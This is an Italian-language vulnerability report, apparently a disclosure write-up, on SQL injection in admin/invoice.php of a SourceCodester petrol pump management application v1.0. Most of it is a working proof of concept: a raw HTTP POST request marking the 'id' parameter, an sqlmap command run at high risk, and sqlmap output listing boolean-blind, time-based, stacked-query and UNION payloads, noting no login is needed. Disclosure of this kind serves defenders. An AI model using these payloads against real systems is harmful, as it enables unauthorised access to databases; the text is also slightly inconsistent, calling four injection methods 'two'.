
Software di gestione pompe di benzina download gratuito | SourceCodester
Vulnerabilità di SQL Injection nel software di gestione pompe di benzina sourcecodester v1.0. È stata trovata una vulnerabilità classificata ad alto rischio che interessa alcune funzionalità sconosciute del file admin\invoice.php. Utilizzando il parametro id per costruire istruzioni SQL dannose al fine di ottenere informazioni sensibili, causando così danni.
admin\invoice.php

Qui, l'input utente $_POST['id'] viene concatenato nell'istruzione di query SQL, che è chiaramente suscettibile ad attacchi di SQL Injection.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
Salvare il pacchetto e usare l'attacco sqlmap
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Osservando il pacchetto, non ho aggiunto alcun valore di cookie, il che indica che non è richiesta autenticazione e non è necessario effettuare il login per lanciare attacchi da remoto.
Si può notare che questa payload utilizza due metodi di injection, time-based blind, boolean-based blind, stacked queries e UNION query, e riesce a iniettare con successo il nome del database.